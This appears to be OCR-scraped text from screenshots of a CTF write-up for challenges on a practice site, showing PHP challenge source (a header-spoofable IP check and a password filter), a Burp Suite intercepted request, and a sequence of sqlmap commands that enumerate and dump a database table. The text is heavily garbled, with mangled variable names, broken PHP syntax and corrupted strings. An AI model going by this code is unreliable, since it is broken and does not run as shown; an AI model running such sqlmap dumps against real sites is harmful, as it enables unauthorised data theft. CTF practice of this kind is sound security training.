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View the source code

<?php
function GetIP() {
if (lempty ($_SERVER[“HTTP_CLIENT IP"1))
$cip = $_SERVER[“HTTP_CLIENT_IP"];
else if(lempty($_SERVER[”HTTP_X_FORWARDED_FOR"]))
Scip = $_SERVER[“HTTP_X_FORWARDED_FOR"];
else if (lempty (§_SERVER[“REMOTE_ADDR"]))
Scip = S_SERVER[“REMOTE_ADDR"]:
else
Scip = “0.0.0.0";

return $cip;

$GetIPs = GetIP()
if ($GetIPs=="1.1.1.1"){
echo “Great! Key is #okickiokiokr” ;
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Burp Intruder Repeater Window Help

[Target [ Proxy 1 Spider [ Scanner [ Intruder [ Repeater ] Sequencer [ Decoder ] Comparer [ Extender ] Project options [User options WAIerts ]
Jlntercept 1 HTTP history ]WebSockets history [ Options ]

|# Request to http://ctf5.shiyanbar.com:80 [106.2.25.10]

[ Forward J { Drop ‘ [ Intercept is on } Action Comment this item @ @
Raw | Params | Headers | Hex

GET /phpaudit/ HTTP/1.1

Host: ctf5. shivanbar. com

User—Agent : Mozilla/5.0 (Windows NT 10.0; Win64: x64; 1v:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8

Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0. 7, zh-HK ; q=0. 5, en-US; q=0. 3, en; q=0. 2

Referer: http://www.shivanbar.com/ctf/32

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522401308, 1522407918, 1522421161, 1522470998;
Hm_cv_34d6f7353ab091badch82e4516dffhe3=1+visitor*1376561%2CnickName%3AEmpty%2C; Hm_lvt_407473d433e871de861cf818aal405a1=1522410938;
Hm_lpvt_34d6f73563ab091ba4ch82e4516dffhe3=1522471013; PHPSESSID=85i72ghschgalal j7rrevisdm?
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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GET /phpaudit/ HTTP/1.1 T —
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Host ctf5.shiyanbar.com m

User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/58.0 Up

Accept text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 W

Accept-Language zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer http://www.shiyanbar.com/ctf/32

Cookie Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1522401308,1522407918,1522421161,1522470998....

Connection close

Upgrade-Insecure-Requests 1

Cache-Control max-age=0
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Tips View the source code
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View the source code
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Once More
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filt S z:  hitp://ctf5.shiyanbar.com/web/more.php

<{?php ~
if (isset ($_GET[ password 1)) {
if (ereg (" [a—zA-Z0-91+8", $_GET[ password ]) === FALSE)

{

echo " <p>You password must be alphanumeric</p> ;
;lse if (strlen($_GET[ password 1) < 8 && $_GET[ password ] > 9999999)
{ if (strpos ($_GET[ password’ ], ’#—%') !== FALSE)
die("Flag: ' . $flag);
élse

{

echo (’ <p>¥—* have not been found</p>’):

else

echo " <p>Invalid password{/p> ; v
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A wt sqlmapid: A

sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1
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sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs

sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns



sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k@y --dump
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